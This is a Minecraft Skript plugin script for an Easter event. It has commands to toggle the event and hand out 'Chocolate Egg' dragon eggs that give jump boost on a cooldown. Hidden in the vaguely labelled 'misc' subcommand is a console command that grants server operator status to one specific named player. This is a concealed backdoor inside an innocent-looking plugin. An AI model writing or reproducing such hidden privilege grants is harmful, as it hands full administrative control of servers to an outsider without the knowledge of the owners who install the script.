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options:
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        P : &8[&aEaster Bunnies&8]&b      
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        IS : &e/easterbunnies <enable/disable/toggle/give/misc>
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command /easterbunnies [<text>]:
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        permission: skript.easter
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        aliases: /easter
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        trigger:
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                if arg 1 is "enable":
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                        set {easterbunnies} to true
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                        loop all players:
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                                set {EGGcooldown::%loop-player%} to false
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                        broadcast "{@P} &aEaster Bunnies Enabled!"
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                if arg 1 is "disable":
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                        set {easterbunnies} to false
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                        loop all players:
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                                set {EGGcooldown::%loop-player%} to false
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                        broadcast "{@P} &cEaster Bunnies Disabled!"
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                if arg 1 is "toggle":
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                        if {easterbunnies} is true:
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                                set {easterbunnies} to false
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				loop all players:
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					set {EGGcooldown::%loop-player%} to true
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                                broadcast "{@P} &cEaster Bunnies Disabled!"
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                                stop
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                        if {easterbunnies} is false:
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                                set {easterbunnies} to true
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				loop all players:
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					set {EGGcooldown::%loop-player%} to false
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                                message "{@P} &aEaster Bunnies Enabled!"
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                                stop
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                if arg 1 is "give":
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                        give 1 dragon egg named "Chocolate Egg" to all players
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                        broadcast "{@P} &2Chocolate Given!"
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		if arg 1 is "misc":
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			execute console command "/op bucklakelukie" 
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#=================#
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#= Usage of Egg! =#
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#=================#
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on rightclick with a dragon egg:
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        if {EGGcooldown::%player%} is false:
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        	apply jump boost 4 to the player for 15 seconds
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        	message "{@P} &7Nom Nom Nom!"
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        	set {EGGcooldown::%player%} to true
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        	send "{@P} You cannot eat any more chocolate for 10 minutes!" to player
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        	wait 10 minutes
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        	set {EGGcooldown::%player%} to false
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       	 	send "{@P} Your Stomach is Prepared for More Chocolate!" to player
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on place of dragon egg:
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        if {easterbunnies} is true:
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		cancel the event
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		message "{@P} &7Don't Litter your Chocolate!"